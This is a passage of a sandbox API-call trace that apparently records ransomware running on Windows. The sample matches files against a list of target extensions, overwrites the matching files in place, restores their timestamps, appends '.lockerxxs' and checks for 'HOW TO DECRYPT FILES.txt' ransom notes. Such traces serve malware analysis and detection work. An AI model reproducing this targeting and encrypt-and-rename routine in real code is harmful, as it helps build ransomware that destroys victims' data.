[0084.153] lstrlenA (lpString="*.qif") returned 5 [0084.153] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg", pszSpec="*.mye") returned 0 [0084.153] lstrlenA (lpString="*.mye") returned 5 [0084.153] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg", pszSpec="*.mbox") returned 0 [0084.153] lstrlenA (lpString="*.mbox") returned 6 [0084.153] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg", pszSpec="*.eml") returned 0 [0084.153] lstrlenA (lpString="*.eml") returned 5 [0084.153] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg", pszSpec="*.pst") returned 0 [0084.153] lstrlenA (lpString="*.pst") returned 5 [0084.153] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg", pszSpec="*.ost") returned 0 [0084.154] lstrlenA (lpString="*.ost") returned 5 [0084.154] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg", pszSpec="*.idx") returned 0 [0084.154] lstrlenA (lpString="*.idx") returned 5 [0084.154] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg", pszSpec="*.dbx") returned 0 [0084.154] lstrlenA (lpString="*.dbx") returned 5 [0084.154] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg", pszSpec="*.sql") returned 0 [0084.154] lstrlenA (lpString="*.sql") returned 5 [0084.154] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg", pszSpec="*.mdb") returned 0 [0084.154] lstrlenA (lpString="*.mdb") returned 5 [0084.154] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg", pszSpec="*.fdb") returned 0 [0084.154] lstrlenA (lpString="*.fdb") returned 5 [0084.154] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg", pszSpec="*.wab") returned 0 [0084.154] lstrlenA (lpString="*.wab") returned 5 [0084.154] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg", pszSpec="*.dat") returned 0 [0084.154] lstrlenA (lpString="*.dat") returned 5 [0084.154] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg", pszSpec="*.txt") returned 0 [0084.154] lstrlenA (lpString="*.txt") returned 5 [0084.154] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg", pszSpec="*.jpeg") returned 0 [0084.154] lstrlenA (lpString="*.jpeg") returned 6 [0084.154] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg", pszSpec="*.jpg") returned 1 [0084.154] lstrlenA (lpString="*.jpg") returned 5 [0084.154] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg" [0084.154] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg" [0084.155] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg." [0084.155] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg.lockerxxs" [0084.155] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbocib[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.155] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x82a [0084.155] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x53278d70, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x53278d70, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x53278d70, dwHighDateTime=0x1d2dd9e)) returned 1 [0084.155] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.155] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x804, lpOverlapped=0x0) returned 1 [0084.157] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg") returned="BBBOcIb[1].jpg" [0084.157] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.157] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x804, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x804, lpOverlapped=0x0) returned 1 [0084.158] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.158] CloseHandle (hObject=0xa4) returned 1 [0084.158] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbocib[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbocib[1].jpg.lockerxxs")) returned 1 [0084.159] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53b8c150, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53b8c150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x53b8c150, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x161e, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBBOddp[1].jpg", cAlternateFileName="BBBODD~1.JPG")) returned 1 [0084.159] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.159] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBBOddp[1].jpg") returned 1 [0084.159] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBBOddp[1].jpg") returned 1 [0084.159] lstrcmpiA (lpString1="", lpString2="BBBOddp[1].jpg") returned -1 [0084.159] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg") returned="BBBOcIb[1].jpg" [0084.159] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.159] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.159] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.159] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.160] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBBOddp[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg" [0084.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg", pszSpec="*.ems") returned 0 [0084.160] lstrlenA (lpString="*.ems") returned 5 [0084.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg", pszSpec="*.db") returned 0 [0084.160] lstrlenA (lpString="*.db") returned 4 [0084.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg", pszSpec="*.dbf") returned 0 [0084.160] lstrlenA (lpString="*.dbf") returned 5 [0084.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg", pszSpec="*.myox") returned 0 [0084.160] lstrlenA (lpString="*.myox") returned 6 [0084.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg", pszSpec="*.myo") returned 0 [0084.160] lstrlenA (lpString="*.myo") returned 5 [0084.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg", pszSpec="*.qbw") returned 0 [0084.160] lstrlenA (lpString="*.qbw") returned 5 [0084.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg", pszSpec="*.qbb") returned 0 [0084.160] lstrlenA (lpString="*.qbb") returned 5 [0084.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg", pszSpec="*.qbm") returned 0 [0084.160] lstrlenA (lpString="*.qbm") returned 5 [0084.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg", pszSpec="*.qbo") returned 0 [0084.160] lstrlenA (lpString="*.qbo") returned 5 [0084.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg", pszSpec="*.qbx") returned 0 [0084.160] lstrlenA (lpString="*.qbx") returned 5 [0084.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg", pszSpec="*.qba") returned 0 [0084.160] lstrlenA (lpString="*.qba") returned 5 [0084.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg", pszSpec="*.qby") returned 0 [0084.160] lstrlenA (lpString="*.qby") returned 5 [0084.161] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg", pszSpec="*.qbj") returned 0 [0084.161] lstrlenA (lpString="*.qbj") returned 5 [0084.161] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg", pszSpec="*.ofx") returned 0 [0084.161] lstrlenA (lpString="*.ofx") returned 5 [0084.161] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg", pszSpec="*.qif") returned 0 [0084.161] lstrlenA (lpString="*.qif") returned 5 [0084.161] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg", pszSpec="*.mye") returned 0 [0084.161] lstrlenA (lpString="*.mye") returned 5 [0084.161] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg", pszSpec="*.mbox") returned 0 [0084.161] lstrlenA (lpString="*.mbox") returned 6 [0084.161] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg", pszSpec="*.eml") returned 0 [0084.161] lstrlenA (lpString="*.eml") returned 5 [0084.161] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg", pszSpec="*.pst") returned 0 [0084.161] lstrlenA (lpString="*.pst") returned 5 [0084.161] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg", pszSpec="*.ost") returned 0 [0084.161] lstrlenA (lpString="*.ost") returned 5 [0084.161] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg", pszSpec="*.idx") returned 0 [0084.161] lstrlenA (lpString="*.idx") returned 5 [0084.161] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg", pszSpec="*.dbx") returned 0 [0084.161] lstrlenA (lpString="*.dbx") returned 5 [0084.161] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg", pszSpec="*.sql") returned 0 [0084.161] lstrlenA (lpString="*.sql") returned 5 [0084.161] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg", pszSpec="*.mdb") returned 0 [0084.161] lstrlenA (lpString="*.mdb") returned 5 [0084.161] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg", pszSpec="*.fdb") returned 0 [0084.162] lstrlenA (lpString="*.fdb") returned 5 [0084.162] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg", pszSpec="*.wab") returned 0 [0084.162] lstrlenA (lpString="*.wab") returned 5 [0084.162] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg", pszSpec="*.dat") returned 0 [0084.162] lstrlenA (lpString="*.dat") returned 5 [0084.162] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg", pszSpec="*.txt") returned 0 [0084.162] lstrlenA (lpString="*.txt") returned 5 [0084.162] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg", pszSpec="*.jpeg") returned 0 [0084.162] lstrlenA (lpString="*.jpeg") returned 6 [0084.162] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg", pszSpec="*.jpg") returned 1 [0084.162] lstrlenA (lpString="*.jpg") returned 5 [0084.162] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg" [0084.162] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg" [0084.162] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg." [0084.162] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg.lockerxxs" [0084.162] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbboddp[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.163] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x161e [0084.163] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x53b8c150, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x53b8c150, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x53b8c150, dwHighDateTime=0x1d2dd9e)) returned 1 [0084.163] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.163] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x15f8, lpOverlapped=0x0) returned 1 [0084.165] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg") returned="BBBOddp[1].jpg" [0084.165] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.165] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x15f8, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x15f8, lpOverlapped=0x0) returned 1 [0084.165] SetFileTime (hFile=0xa4, 